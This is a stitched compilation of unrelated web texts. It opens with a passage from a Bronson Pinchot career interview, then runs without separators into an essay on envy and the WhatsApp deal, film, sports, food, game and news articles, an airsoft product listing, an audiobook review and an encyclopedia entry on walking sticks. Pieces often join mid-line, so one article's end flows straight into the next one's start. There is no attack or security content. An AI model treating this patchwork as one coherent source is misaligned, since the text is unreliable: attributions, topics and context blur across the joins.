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Then when we started to rehearse it, I would think of funny things to do, and I was like, “I want to be misting the plants, and I want to be doing this,” and they said, “No, no, no, no, you can’t do anything that’s like actually gay. We’ll give you one line a show that’s like, ‘I sleep with men.’” I was a kid, and it was an entirely different world, it was a world away from the world now, so there I am doing this job as a gay man on television, and I played a gay man in Beverly Hills Cop. So, every time I would go on a blind date or something, the first question would always be, “Why do you play gay roles?” And I would say, “It’s not like a sign I wear on my head that says that’s all I’ll do,” but they just happened to coincide, so that was a strange period in my life. There weren’t that many of that role out there. There was Billy Crystal in Soap, and then there was me. These organizations I had never heard of would come to me and say, “Would you host the gay and lesbian whatever?” and I was like, “Why? Because I’m playing this role?” And then it would be like wink, wink—it was very weird. I wish I had been 35 instead of 25—25’s young. You forget how young 25 is. If I were 35, I would have been like, “You bet I will! I’ll be there with bells on.” I mean, I’m on a list of famous people who are left-handed, because I wrote with my left hand on the show. I don’t go out of my way to tell people that I’m not left-handed—they think I am, and that’s a compliment, because then I made myself write left-handed, that’s who I decided he was, and it made sense to me, because I figured he was such a right-brained kind of guy. To this day, people swear that I have an accent. Do I have an accent?
AVC: No.
BP: I don’t even fight them anymore! When someone says, “Oh my God, you have an accent,” I’m like, “Okay.” I don’t have one, but they think I do. I have these conversations sometimes where I’ll go into a truck stop and they’ll say, “Do you know who you look like? Bronson Pinchot.” And I say, “Well, I am Bronson Pinchot.” And the first thing they say, if I’m in a rural area, is “No you’re not!” That used to make me mad, but now I say, “Okay! You know best. And I’ll have the turkey with cheese.” When I was younger, for some reason that would freak me out—don’t tell me I’m not me! That was an interesting and weird time, but what had happened was, when I was released from Sara, which was a crappy show anyway and a crappy time, and everybody was staring at me and running up to me with things to sign—I didn’t understand that either, what the whole autographing thing was about. I ran away to a place where my mother had had some great times, which was Greece, and while I was there, I remember that somebody had asked me before Sara to consider doing a show about an immigrant, and I could do any accent I wanted. I was in Greece for a while, and I said, “Well, if I can make him sound Greek, I’ll do it.” And so the running away actually led to the next step, which was Perfect Strangers, which was my identity for quite a while.
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Perfect Strangers (1986-1993)—“Balki Bartokomous”
BP: I discovered my inner physical comic there, because I felt that the writing was weak. I mean, I received my training in Shakespeare, Shaw, and Beckett, and all of a sudden I’m doing this stuff, like… What the hell is this about? Who cares? And so I put all my energy into coming up with physical business, and all of a sudden I was a physical comic, and that is exactly how it happened. I’d always admired physical comics, but I didn’t think there was that much going on. The character wasn’t stupid, but you’d look at the script and say, “What is this about?” So I made my own life up, and I had a lot of fun doing that with Mark Linn-Baker, because he loved all that stuff, too. It was a weird period in my life, because what I needed to do, what I had needed for years… I should have been able to go somewhere and get treated for some serious depression, based on the fact that I had some bad stuff happen when I was a kid, but I didn’t want to. And so I was actually quite depressed during Perfect Strangers, and the contrast between what I was playing and what I felt like was a bit much. And that was a hard time, actually.
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AVC: There were 150 episodes—how did your feelings about the show progress as it went on?
BP: It’s really just like a relationship. At the start, you’re so in love and you can’t believe it, and then you settle down and it’s comfy, and then you start to get bored, and then you get resentful, and I think at the very end, it was pretty bad. Never ever between Mark and I. Our curve was that we started out bickering about everything because we were being territorial, and then we realized over the course of time that we very dearly did care about each other, and that we did dearly love each other, and that was interesting. We eventually had a deep bond. And then toward the end of the show, you know, just being really brittle… The girl that played my girlfriend came in one day and was in a snotty mood, and I stopped and said, “You can get a stand-in to rehearse her scenes, and she can come in later.” I regret that, but there was crap like that.
True Romance (1993)—“Elliot Blitzer”
BP: That was an exciting thing, because at that point in my life, no one had really ever heard me speak with my own voice. I remember the first couple of weeks, people would lean in and say, “Let’s hear him talk!” Which was kind of a compliment, but weird. If it had been a hit, it would have been the exact opening chapter of the second act of my career. It was an interesting role, it was a good character role in a dramatic movie. So it was a hugely important thing. And it was a fun, very exciting thing.
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AVC: Was Quentin Tarantino a presence on the set?
BP: A little bit. And I’ll never forget one thing he said to me right after the dailies started to come out. There’s this scene where I’m driving with this prostitute, where I get coke in my face, and I’m doing this insane cackle of joy in the car as I drive, because I’m getting a blowjob, which was my idea, and Quentin said, “Thank you for putting that in the movie. That’s the sound that I wanted, and I was hoping to get that out of Christian [Slater], but it just popped out of you. That’s the sound I wanted in the movie, that’s the rhythm and the sound of it.” He was around, but not intrusively.
Courage Under Fire (1996)—“Bruno”
BP: That was a low point, because Denzel Washington was behind the incredibly cowardly bullshit of “This is my character, not me.” He was really abusive to me and everybody on that movie, and his official explanation was that his character didn’t like me, but it was a dreadful experience. I spent my salary on time with my shrink just for helping me get through it, and what that led to was the very next big movie that I did. I should have said to the producers, “You get that guy in line, or I’m out of here.” Life’s too short. But the next movie I did, the director was getting a lot of crap from his star, and he started to take it out on me one day, and just like a German shepherd—you know when a German shepherd stands up on its hind legs and puts its paws on your shoulders?
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I put my hands on his shoulders and I very gently but firmly said, “I don’t do abuse, and if you say one more word of abuse to me, I’m on a plane, and you don’t have enough money to keep me here.” And that was the end of it, and I’ve never taken abuse again. And I wasn’t vile or anything, it just ripped out of me. Denzel Washington cured me forever of thinking that there is any amount of money or anything that could ever, ever make it okay to be abused. The script supervisor on that movie said it’s like watching somebody kick a puppy. He was so vile. And after that, I just would never endure it again.
The First Wives Club (1996)—“Duarto Feliz”
BP: Which is the movie I was just describing.
AVC: So Hugh Wilson would be the director in question?
BP: Yes, because Bette Midler was such a bitch to him. While he was directing, she would be rolling her eyes, pantomiming with her favorite actors, and she made it very difficult. And he was at his wit’s end. He was actually a very nice man, but she was very unkind to him on that movie. Am I not supposed to say these things? Because it is The Onion after all, the highest form of journalism. [Laughs.] I’m just kidding. One of the most freeing things about not being on a primetime sitcom that’s aimed at children is that you don’t have to edit so much. My God, back in the day, it was implicit that if you wanted to keep your job, you won’t say anything about anybody or tell the truth about anything. I did this Rolling Stone interview once, and the guy began the interview with a description of me talking about my ideal weekend, which was to fuck until the skin came off my dick. And I read that, and I think to myself, “You really needed not to be saying stuff like that.” But I was so desperate to express myself. I was so hemmed in by people saying, “Don’t show the hair on your chest.” It was weird, like I was hired in the ’30s.
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AVC: If you’re repressed and repressed and repressed, then eventually you need an outlet.
BP: Yeah, at one point in my career, it was all hanging out. And now, I can say the truth of the matter is that some of these people are jerks, and some of these people are gods, and I don’t know why certain people are protected. Some people are so nasty. I don’t know why.
Step By Step (1997)—“Jean-Luc Rieupeyroux”
BP: They changed my hair a lot, because the guy was a beauty guru. I didn’t have much to do, so I worked out all the time—it was kind of a fun year. I made a lot of money and just did it. They were very nice people. It was just… I don’t know what it was. It was all the Perfect Strangers people saying, “Come and bail us out,” because the guy who played the surfer dude on the show had shown up with a gun, and they had to send him on his way for a year, and they needed somebody to be the goofy character, so they brought me for a year to be the goofy character. And then as usual, they didn’t quite know what to do with me, so I just kind of stood around.
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You And I (2008)—“Tarrino”
BP: What’s You And I?
AVC: Let’s see, it might be called Finding t.A.T.u?
BP: Oh, yeah. That’s the different name, I think they’re still re-editing it—have you seen it?
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AVC: No, I think they’ve been talking about it coming out for a long time, and I don’t know what the situation with that is.
BP: Well, the movie was basically done by the time I came on, but there was a reference in the script to a fashion photographer being incredibly abusive to Mischa Barton’s character and messing with her ego, which made her do self-destructive things. So they decided to actually show that person. So they brought me in, and the director said, “Do you like improvising? Basically, you have to reduce her to tears, and it has to be very personal, and it has to be about her body, because you’re the most powerful fashion photographer in the world, and you should decimate her.” So I said okay. There were all these beautiful models there, so I said, “Let me be sitting on one.” Like literally, like have me be straddling her and taking pictures of her so that it basically looks like I’m fucking using her for my pleasure.
So I took Mischa Barton aside and said, “Are you aware of this? What are you okay with? Give me an arena.” She said, “If you talk about my ass, it’ll make me cry.” So I did, and I wasn’t loving it—I don’t love that stuff—but she felt that it was important for me, so we did like 20 takes where I made comments about her ass, and then she cried, and then we all went home. It wasn’t my favorite day in filmmaking. I felt a little dirty, but that’s what was asked of me. She was a very sweet kid, actually. Rather brave in a way, because I asked her what she wanted me to do, and she said, “Talk about my hips and my ass, that’ll make me cry.” And it’s like, “Yikes. Well, at least I have it from the horse’s mouth.”Editor’s Note: Nir Eyal is the author of Hooked: A Guide to Building Habit Forming Products and blogs at NirAndFar.com.
Wednesday was my birthday. It should have been a great day. My wife and daughter had prepared a delicious breakfast, I had lunch with close friends, and I finished up some writing and client work. At the end of the day I headed to San Francisco to enjoy a swanky scotch tasting at a friend’s house.
Then I heard the news. WhatsApp had been purchased by Facebook for $19 billion. When I read about the deal I blurted out the words, “Holy Crap!” so loudly that a stranger nearby gave me a disapproving look.
I was having a fantastic day just minutes before but suddenly I felt crummy, like something unjust had happened. The malaise lingered as my mind began to rationalize the news. Was the deal justified? Why had Facebook paid so much? What did the deal mean for the future of the tech industry?
However, the question that most disturbed me was why hadn’t I built WhatsApp? The simplicity of the app made it look easy. Perhaps, I thought, I should get back to starting companies instead of writing books about them.
Then I remembered one of my favorite monkey studies. A bit of primate psychology helped me regain my sanity.
Frans de Waal, a primatologist at Emory University, wanted to know if capuchin monkeys felt jealousy in the same way humans do. His study began by training two monkeys with identical cucumber slices. Whenever they completed a task, in this case retrieving a rock and handing it to a researcher, they each received a slice of cucumber. When both monkeys were offered the same reward, they completed the task as prescribed.
Then things got interesting — as they often do when researchers start messing with monkeys. De Waal knew his capuchin monkeys adored grapes, almost as much as we entrepreneurs lust for “liquidity events.” This time the researcher gives one monkey a grape while giving the other a slice of cucumber.
After giving his rock to the researcher, the stiffed monkey glances over at his lucky comrade, who by this time is wolfing down the juicy grape. He then looks down into his little monkey paws where only a measly pale green cucumber slice awaits him.
Seconds earlier, this monkey was perfectly content with his reward but now it’s clear he isn’t happy. The cucumber pieces had suited him fine as long as the other monkey got the same. However, now that the other monkey got something much better, monkey hell breaks loose. The monkey stages an emotionally charged protest. He shrieks, throws his cucumber at the researcher, bares his teeth, thrashes in his cage, and slaps the table.
Clearly, we aren’t the only primates who value the ideal of equal pay for equal work. As a two-time entrepreneur who never got close to a billion dollar buy-out, I empathize with that raging monkey. My team and I had worked hard for our reward and did just fine, and yet, we’d never had a WhatsApp-sized payday. It’s hard not to ask, “Where’s my grape?”
And that’s the source of the problem. I loved being an entrepreneur and I love what I do today, just as the capuchin monkey enjoyed his cucumber before the other monkey got something better. It is only when we become cognizant that others have more that we feel unsatisfied with what we have.
As another example, think sex. Researchers have known for some time that, “frequency of sexual activity is shown to be positively associated with happiness,” — no big surprise there. However, what is less well understood is how our happiness is affected by the amount of sex we think other people are having. According to a study at the University of Colorado at Boulder, believing that other people are having more sex than you makes you less happy, even if you are having plenty of it.
It appears we are hardwired for jealousy. Perhaps there is an evolutionary benefit to the dissatisfaction that comes from wanting what others have. However, unlike lower primates, we humans have the ability to consciously self-reflect. Perhaps we can’t help feeling like the monkey in De Waal’s experiment when we see others getting more. However, our tendency to compare ourselves to others does not have to make us unhappy. We have a choice.
When I arrived at the scotch tasting the night of my birthday, my friend Andrew Warner proposed a toast. “On Nir’s birthday, I want to share something that has stuck with me from the first time I met him.” Andrew held up his glass of whiskey, “We were sitting around a dinner table a few years ago when someone brought up the topic of how to relate to wildly successful people.” I vaguely recalled the conversation and I wasn’t sure what Andrew would say next. “That’s when Nir said that once you find the thing you love doing, nothing else matters. You just can’t ask for anything more than that.” We clinked glasses and I was thankful for the timely reminder of our conversation.
Image by Flickr user Carsten Schertzer under a CC BY 2.0 license
Note: For more, check out Hooked: A Guide to Building Habit-Forming Products. Nir will be speaking at the upcoming Habit Summit at Stanford. TechCrunch readers get $50 off when using this link.In a trailer analysis interview, Empire got the first word from the Russo Brothers, directors of Captain America: Civil War. Now that some footage is out there, the questions and speculation can begin in earnest. Perhaps chief amongst them has been what form the Superhuman Registration Act from the comic books would take, one of our six biggest questions from the trailer.
Now, the Russos have confirmed that the Sokovia Accords seen in the trailer are their version of the document. Sokovia is the city that was going to be used as a bomb by Ultron - it wound up being evacuated and blown up, but that's still an entire city wiped off the map as colateral damage.
"We’re using the essence of what Civil War was about," says Joe Russo. "The comic book isn’t applicable to the storytelling that we’ve structured up to this point, but the concept of registration, the notion that heroes need to be either monitored or controlled because their power can be scary, is applicable." That's of course also referring to the fact that the comic book story was centered mostly on secret identities. Outside of, kind-of Ant-Man and the incoming Spider-Man, no one has a secret ID in the Marvel Cinematic Universe, and it's certainly not an issue they can go to war over.
"The Accords are the world jointly trying to govern the Avengers moving forward," Russo continues. "It has to do with the effects of Ultron and Sokovia, and New York City [roundly trashed at the end of The Avengers], and Washington D.C. [nearly devastated by falling helicarriers at the end of Captain America: The Winter Soldier]. Examining the third acts of all the Marvel movies, we’re saying, if you could point to the collateral damage in all those incidents, could you use that against the Avengers to control them?" His brother and co-director Anthony Russo also promises the stakes are considerably raised.Lightweight rifle that's easy to put together. It comes with a scope, infrared sight, and other accessories to keep the fun going. FPS 150 with a magazine capacity of 30. Also includes a bi-pod for solid stability in the sniper position. Gun comes apart for easy traveling. The scale is 1/1 and includes Airsoft spring rifle, 6mm BBs, Scope, Laser, and Gun Strap.
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Specifications:Cal quarterback Jared Goff is a couple of light-years away from Aaron Rodgers when it comes to football accomplishments, but as a rising star who is considered a strong draft prospect at the position, the similarities between the two at the college level aren't far off.
And for Texas defensive coordinator Vance Bedford, they're downright legitimate.
"This is Aaron Rodgers. He's the real deal. This young man is exceptional," Bedford said of Goff, per Kirk Bohls of the Austin American-Statesman. Bedford went on to call Goff one of the best quarterbacks he's ever faced at the college level, which is high praise coming from a coach who has been a defensive assistant at the major college or NFL level since 1987.
Goff will visit the Longhorns on Saturday for a non-conference game that could help solidify his standing as one of the top pro quarterback prospects in the college game. He's a junior, so it could be 2017 before he enters the NFL draft.
He's been outstanding this season in getting the Golden Bears off to a 2-0 start, albeit against questionable competition (San Diego State, Grambling State). The 6-foot-4, 215-pound Goff has completed 41 of 56 passes for 630 yards, six touchdowns and two interceptions.
Rodgers left Cal after his junior season in 2004 and became the No. 24 overall pick of the Green Bay Packers, where he sat behind Brett Favre before developing into one of the NFL's best passers.
Follow Chase Goodbread on Twitter @ChaseGoodbread.I want to start this review by saying that in general, spy thrillers are not one of my preferred book genres. However, with that said I thoroughly enjoyed reading this book and I look forward to others in the genre and by this author; thank you for expanding my comfort-zone. Although I rated the book 4-stars, if given the option I would have more likely rated it 3.5-stars; because it is not a three-star book.
The author did a good job of weaving a believable story that included many twists, turns, and suspense throughout. Many times I was surprised by a given outcome and said to myself, I didn’t see that coming. The author was able to create characters having depth and the main characters were involved in complex relationships which kept them interesting and more life-like. Her ability to simply describe a scene that allowed me to see it like a picture in my mind kept me listening and engaged.
I laughed multiple times at one of the characters lack of having a cellphone in today’s society, however the author herself said on her Amazon page, “I wrote 3 LIES, in part, out of my own struggle to untether from the digital world”. This realization while reading the book gave this specific character more meaning to me. I can her love of animals, especially dogs from her story, and this part was again one of the surprises for me. The book has vulgar language; however, it was not frequent or gratuitously used. I would not feel comfortable allowing my teenager to read the book because of this. I include this as it is important for many readers when looking for new material for younger readers. Such language is only used at points when the characters are in high-stress situations. I will have to say that I will never look at people wearing colored ski masks the same again.
Let me touch on a few areas of the book which I found were less believable for me. I have been in the technology industry for over 35 years and focused on information security for over 20. This is not to say that I’m an expert in the specific technology the author was describing, however I felt at times that I had to just go with the flow and remind myself it was a story. Some of the technology described seemed farfetched or more futuristic in general, and the trouble with some of the computers and how it was handled seemed to lack deep research into the topic. Again, this is more nit picky on my part as it touches on my area of expertise, yet I do not think others would be impacted by it. I will also admit that the general population often is not even aware of the types of technology that are out there or the power of surveillance.
A few of my recent reviews have called out authors for having very long chapters, and this book is almost on the extreme other side of that for me. A number of chapters were extremely short, consisting of only a page or two. Other authors will often join these smaller chapters into a larger one and simply separate or transition the scenes. Once again, this is more a personal issue and did not take away or add anything to the story itself.
The most memorable part of the book for me was the love shown between himself and a dog. Not to sound funny, but only those who read the book will understand.
For the audiobook, I enjoyed Patrick's narration overall. I think I would have enjoyed more if he had been more expressive with his voice both during times of action and low-points of the story. More to put emphasis and keep the listener tied to the story-line. I would have also liked to have had more uniqueness in the various character voices, yet I understand how difficult this can me for a narrator. I know it can also be difficult for a male to voice female and female child parts.
I look forward to listening to more by this narrator in the future. I did find it somewhat interesting during one portion of the book when the narrator was describing a driving scene and he pronounced the word "route 3" like it is said in the west instead of "root 3" like it is often said in the Northeast. Again, the narration was good, not outstanding, but good.
Disclaimer: This book was provided to no charge to the reviewer by the author, narrator, or publisher in exchange for a non-bias review.For Duane Wilkins, University Book Store is a family |
Kevin Nutley For general comments or questions, click hereIf you’re the kind of ice cream lover who thinks the more butterfat and egg yolks in a pint the better, you’ll be tempted to skip the vegan chapter of the new “Van Leeuwen Artisan Ice Cream” cookbook (Ecco, 2015). Why contemplate vegan roasted banana ice cream when there is a recipe for the original dairy-rich version 60 pages earlier?
That was my attitude when I first dived into the book, a detail-oriented tome by Laura O’Neill, Ben Van Leeuwen and Pete Van Leeuwen, with Olga Massov. Ms. O’Neill and the Van Leeuwen brothers own the popular Van Leeuwen ice cream shops in New York and Los Angeles, and a fleet of buttercup-yellow ice cream trucks.
Their earnest book offers 100 recipes for signature ice creams, sauces and other confections. Gleefully, I marked the flavors that I couldn’t wait to make — rhubarb crumble, brown butter pecan and their superior fresh ginger, with its bright, clear flavor punctuated by chewy bits of the candied root.
Image Credit Sonny Figueroa/The New York Times
I earmarked that vegan roasted banana, too, but in the name of thoroughness, not because I believed it could possibly be as good as the silky, not-too-sweet custard-based recipes I was testing as the summer days grew hotter and longer."Cane (walking stick)" redirects here. For use as a mobility aid, see Assistive cane. For the insects, see Phasmatodea
A walking stick
A walking stick is a device used to facilitate walking, for fashion, or for defensive reasons.
Walking sticks come in many shapes and sizes and can be sought by collectors. Some kinds of walking sticks may be used by people with disabilities as a crutch. The walking stick has also historically been known to be used as a defensive or offensive weapon and may conceal a knife or sword as in a swordstick.
Walking sticks, also known as trekking poles, pilgrim's staffs, hiking poles, or hiking sticks, are used by hikers for a wide variety of purposes: to clear spider webs or part thick bushes or grass obscuring the trail; as a support when going uphill or a brake when going downhill; as a balance point when crossing streams, swamps, or other rough terrain; to feel for obstacles in the path; to test mud and puddles for depth; to enhance the cadence of striding, and as a defence against wild animals. Also known as an alpenstock, from its origins in mountaineering in the Alps, such a walking stick is equipped with a steel point and a hook or pick on top. A walking stick can be improvised from nearby felled wood. More ornate sticks are made for avid hikers and often adorned with small trinkets or medallions depicting "conquered" territory. Wood walking sticks are used for outdoor sports, healthy upper body exercise, and even club, department, and family memorials. They can be individually handcrafted from a number of woods and may be personalised in many ways for the owner.
A collector of walking sticks is termed a rabologist.[1]
Origin [ edit ]
Around the 17th or 18th century, a stout rigid stick took over from the sword as an essential part of the European gentleman's wardrobe, used primarily as a walking stick. In addition to its value as a decorative accessory, it also continued to fulfil some of the function of the sword as a weapon. The standard cane was rattan with a rounded metal grip.[citation needed] The clouded cane was made of malacca (rattan stems) and showed the patina of age:
Sir Plume, of amber snuff-box justly vain,
And the nice conduct of a clouded cane. Alexander Pope, The Rape of the Lock
Some canes had specially weighted metalwork. Other types of wood, such as hickory, are equally suitable.
Accessories [ edit ]
The most common [ citation needed ] accessory, before or after purchase or manufacture, is a hand strap, to prevent loss of the stick should the hand release its grip. These are often threaded through a hole drilled into the stick rather than tied around.
accessory, before or after purchase or manufacture, is a hand strap, to prevent loss of the stick should the hand release its grip. These are often threaded through a hole drilled into the stick rather than tied around. A clip-on frame or similar device can be used to stand a stick against the top of a table.
In cold climates, a metallic cleat may be added to the foot of the cane. This dramatically increases traction on ice. The device is usually designed so it can be easily flipped to the side to prevent damage to indoor flooring.
Different handles are available to match grips of varying sizes.
Rubber ferrules give extra traction on most surfaces.
Nordic walking (ski walking) poles are extremely popular[ citation needed ] in Europe. Walking with two poles in the correct length radically reduces the stress to the knees, hips and back. These special poles come with straps resembling a fingerless glove, durable metal tips for off-road and removable rubber tips for pavement and other hard surfaces.
Religious use [ edit ]
Various staffs of office derived from walking sticks or staffs are used by both western and eastern Christian churches.[2][3] In Islam the walking stick ('Asa) is considered a Sunnah and Muslims are encouraged to carry one. The Imam traditionally delivers the Khutbah while leaning on a stick.[4]
Types [ edit ]
Ashplant – an Irish walking stick made from the ash tree.
Blackthorn – an Irish walking stick, or shillelagh, made from the blackthorn (Prunus spinosa).
Devil's walking stick – Made from Hercules plant.
Shooting stick – It can fold out into a single-legged seat.
Supplejack – Made from a tropical American vine, also serves as a cane.
Penang lawyer – Made from Licuala. After the bark was removed with only a piece of glass, the stick was straightened by fire and polished. The fictional Dr. Mortimer owned one of these in The Hound of the Baskervilles. So did Fitzroy Simpson, the main suspect in "The Adventure of Silver Blaze" (1892), whose lead weighted stick was initially assumed to be the murder weapon.
Makila (or makhila) – Basque walking stick or staff, usually made from medlar wood. It often features a gold or silver foot and handle, which may conceal a steel blade. The Makila's elaborate engravings are actually carved into the living wood, then allowed to heal before harvesting.
Kebbie – a rough Scottish walking stick, similar to an Irish shillelagh, with a hooked head.
Whangee – Asian, made of bamboo, also a riding crop. Such a stick was owned by Charlie Chaplin's character The Tramp.
Malacca – Malay stick made of rattan palms.
Pike Staff – Pointed at the end for slippery surfaces.
Scout staff – Tall stick traditionally carried by Boy Scouts, which has a number of uses in an emergency
Waddy – Australian Aboriginal walking stick or war club, about one metre in length, sometimes with a stone head affixed with string and beeswax.
Ziegenhainer – Knotty German stick, made from European cornel, also used as a melee weapon by a duellist's second. The spiral groove caused by a parasitic vine was often imitated by its maker if not present.
American "walking canes" [ edit ]
In North America, a walking cane is a walking stick with a curved top much like a shepherd's staff, but shorter. Thus, although they are called "canes", they are usually made of material heavier than cane, such as wood or metal.
In the United States, presidents have often carried canes and received them as gifts.[citation needed] The Smithsonian has a cane given to George Washington by Benjamin Franklin. It features a gold handle in the shape of a Phrygian cap. In modern times, walking sticks are usually only seen with formal attire. Retractable canes that reveal such properties as hidden compartments, pool sticks, or blades are popular among collectors. Handles have been made from many substances, both natural and manmade. Carved and decorated canes have turned the functional into the fantastic.
An unidentified woman holding a "tippling cane" or "cane flask" in Washington, DC., 1922.
The idea of a fancy cane as a fashion accessory to go with top hat and tails has been popularized in many song-and-dance acts, especially by Fred Astaire in several of his films and songs such as Top Hat, White Tie and Tails and Puttin' On the Ritz, where he exhorts "Come, let's mix where Rockefellers walk with sticks or umbrellas in their mitts." He danced with a cane frequently.
Some canes, known as "Tippling Canes" or "Tipplers", have hollowed-out compartments near the top where flasks or vials of alcohol could be hidden and sprung out on demand.
When used as a mobility or stability aid, canes are generally used in the hand opposite the injury or weakness. This may appear counter-intuitive, but this allows the cane to be used for stability in a way that lets the user shift much of their weight onto the cane and away from their weaker side as they walk. Personal preference, or a need to hold the cane in their dominant hand, means some cane users choose to hold the cane on their injured side.
In the U.S. Congress in 1856, Charles Sumner of Massachusetts criticized Stephen A. Douglas of Illinois and Andrew Butler of South Carolina for the Kansas–Nebraska Act. When a relative of Andrew Butler, Preston Brooks, heard of it, he felt that Sumner's behavior demanded retaliation, and beat him senseless on the floor of the Senate with a gutta-percha walking cane.[5] Although this event is commonly known as "the caning of Senator Charles Sumner", it was not a caning in the normal (especially British) sense of formal corporal punishment with a much more flexible and usually thinner rattan.
See also [ edit ]A new 10GB patch for Ubisoft’s Watch Dogs 2 fixes bugs, adds new clothing, tweaks some systems and primes the game for some downloadable expansions, but it also adds a mysterious conversation to the game’s final cutscene. That’s got people guessing, since game endings don’t usually get patched.
Spoilers follow, of course.
Watch Dogs 2's ending still largely remains the same. Protagonist Marcus Holloway and his Dedsec hacking crew still beat their nemeses, still broadcast their righteous message of information freedom to the world, still try to wake people up to what’s really going on in the world. But, before the game returns control to the player to mop of any remaining sidequests in Watch Dogs 2's massive open world, an audio conversation plays between two mysterious figures (You can see the appended cutscene at this link, as captured by YouTuber Frenzy. The new stuff starts at the 2:15 mark):
Man 1: How much of this is hyperbole? Has it really gone global? Man 2: There are new Dedsec cells popping up everywhere. The Middle East, South America, Europe. And not just them. We can’t even keep up with all the new hacktivist groups. Man 1: Alright. Make the call. Man 2: You Sure? Man 1: Do it.
Atop their conversation are coordinates that, when punched into Google Maps, lead to the Brixton area of London.
Is the new dialogue hinting at a location for Watch Dogs 3? Or is it indeed about the DLC?
The planned DLC expansions for WD2 seem to take place in San Francisco, so these references to non-U.S. locations have fans on the game’s subreddit and message boards buzzing. (I’ve played the game to the end and am wondering about this, too.)
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When asked, a Ubisoft rep said: “The production team wanted to include a little something extra at the end of the campaign to expand the Watch Dogs lore and hint at the potential future of DedSec.”
The meta context for this is that Watch Dogs 2 has not been the huge hit Ubisoft expected it to be and has fallen short of the explosive sales of the first game. While it is generally considered to be a superior sequel, fans burned by the first may be taking that out on the second, leading to reasonable questions about whether the franchise would even continue. In a press release last week about recent game sales, Ubisoft noted of Watch Dogs 2: “Launch not as dynamic as expected, but momentum now positive.”
Games have had game balance tweaks for ages, but patches that change or add to a game’s narrative are rare, if increasingly common, sometimes for the sake of improving a game and other times to hype a new project.
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Most famously, in 2012, BioWare patched and expanded the ending of Mass Effect 3 to assuage some fan’s displeasure with the ending. In 2010, Valve had re-worked the ending of the first Portal when beginning to tease the development of Portal 2. Last year, Activision added the arrival of a spaceship to one of its Call of Duty Black Ops III maps to tease the announcement of the space-based Call of Duty: Infinite Warfare. And Square Enix is promising a patch to expand and improve the story of the recently released Final Fantasy XV.The continuing eruption of Europe’s most active volcano, Etna, on the Italian island of Sicily has provided for some breathtaking night images of smoke clouds and flowing lava.
On Sunday, the lava flow at Etna has descended to approximately 2,000 meters, stopping just a few kilometers west of the provincial road to La Sapienza, Volcano Discovery website said.
Etna Eruption# extraordinary power# pic.twitter.com/Cq4wZVufpa — Buy In Sicily R.E. (@BuyinSicily) February 2, 2015
The volcano began erupting on December 28, 2014, which was the most activity recorded from Etna since December 2013.
Etna is one of the world’s most active volcanoes, and is almost constantly in a state of activity. The first recorded observation of its eruption was made by Greek historian Diodorus Siculus in 425 BC.
Effusive eruption at Mount Etna, Sicily this evening. pic.twitter.com/HVO2bX6S1b — Kerry Mason (@kerry_mason) February 1, 2015
For centuries Etna has been threatening the heavily populated towns and villages surrounding the foothills of mountain, despite the volcano’s character. Due to this character and own persistency, the coastal town of Catania had to be rebuilt on several occasions after being hit by lava between 122 BC and 1185 AD.
Some 1,500 people were killed in 1669 when the town of Nicoli was decimated by an earthquake originating beneath Mount Etna. In 1928, the village of Mascali was destroyed in just two days when a fissure opened up near the foot of the mountain. Only the involvement of the US Marines allowed the town of Zafferana to be saved from the lava flow in 1992.
READ MORE: Skiing over cold lava: Italian thrill seekers zoom down Mt Etna (VIDEO)
Despite the threat, Mount Etna is a cornerstone of the Sicilian economy as it provides fertile land for agriculture, due to fallen ash, and attracts thousands of tourists to the region.
Italy and the Mediterranean seen by @NASANPP early Monday morning. Big eruption of Mount #Etna in the middle-right! pic.twitter.com/JgMB9FWXmn — Simon Proud (@simon_rp84) February 2, 2015
The 3,329-meter-tall volcano, which has four summit craters, has been added to the list of UNESCO World Heritage Sites in June 2013.Shadow chancellor says foreign secretary’s ‘poor judgment’ undermines UK credibility, adding that even cabinet has no confidence in him
Labour has called Boris Johnson a liability for the UK who “undermines our credibility” after the foreign secretary failed to gain the backing of fellow G7 foreign ministers to penalise Russia and Syria over last week’s chemical weapons attack.
Downing Street had insisted Theresa May fully backs Johnson after the 30-page communique from the two-day G7 summit in Italy failed to make any mention of Johnson’s proposal of imposing sanctions on key military personnel.
A No 10 source said the prime minister was pleased with the clear signal from the summit that the Bashar al-Assad regime could not be part of the political future of Syria – a point repeatedly made in the past by David Cameron – and its push for a formal investigation into the attack.
But speaking on Wednesday, Labour’s shadow chancellor, John McDonnell, said Johnson had erred in cancelling at the last minute a planned trip to Moscow to see his counterpart, Sergei Lavrov, and instead focusing on the G7 meeting.
Facebook Twitter Pinterest John McDonnell says Boris Johnson does not think ideas through. Photograph: Jeff Overs/PA
“The idea of going along to the G7 to try and put together a coalition around sanctions was never going to succeed. It was a bad policy decision by Mr Johnson. It should never have happened,” McDonnell told Sky News.
“He should have gone to Moscow. When he went to Moscow he should have been clear with the Russians just how much we condemn what Assad has done, and what they’ve done in support of Assad, but try to get them back to the negotiating table.
“I’m hoping the initiative now by the Trump regime and others is going to enable that to happen. It’s a pity Mr Johnson made such a poor judgment of this matter.”
McDonnell argued that May, who is on a walking holiday in Wales, should have considered taking full charge of the situation.
“I don’t begrudge anyone a break every now and again, but you’ve got to either recognise the seriousness of the situation and put your full attention to it – and I think that’s what the prime minister should be doing – or you’ve got to have confidence in the person that you send out to deal with the situation,” he said.
“What we’ve got at the moment is neither a prime minister properly engaged nor someone who anybody, even on Tory backbenches and, from what we understand, even the government’s own cabinet, has confidence in, with regard to Boris Johnson. I think we’re in the worst of all worlds as a result.”
McDonnell added: “To have these one-day, on-and-off policies from Boris Johnson every time he picks up a new idea, never really thinks it through, and then embarrasses our whole country on the international scene, to be frank, undermines our credibility in the future.”
Several newspaper front pages singled out Johnson for focus after the G7 ended without any plans for sanctions.
However, Alistair Burt, the Conservative MP who was formerly a junior foreign office minister, said this was a mistake.
Boris Johnson is largely toothless. And that’s just how Theresa May likes it | Martin Kettle Read more
“It’s extremely difficult but I think in the first place it’s not about Boris Johnson,” Burt told BBC Radio 4’s Today programme on Wednesday. “I’m disappointed there is this focus.”
“What is most important here is that we try to find a way to end this conflict in which one out of two Syrians have either died or been displaced. It is going to be very difficult. It does involve some difficult and distasteful calculations, perhaps with Russia and Iran, but the main focus should not be on an intergovernmental spat about whether or not Boris Johnson has been humiliated.”
A spokesman for Johnson was bullish about the outcome after he returned to London on Tuesday, insisting the prospect of targeted sanctions remained on the table.
“The foreign secretary was the one this week at the G7 calling for tough action against those who have killed innocent people,” he said. “Some may criticise but it was simply the right thing to do to try to push other countries to punish war criminals and murderers.
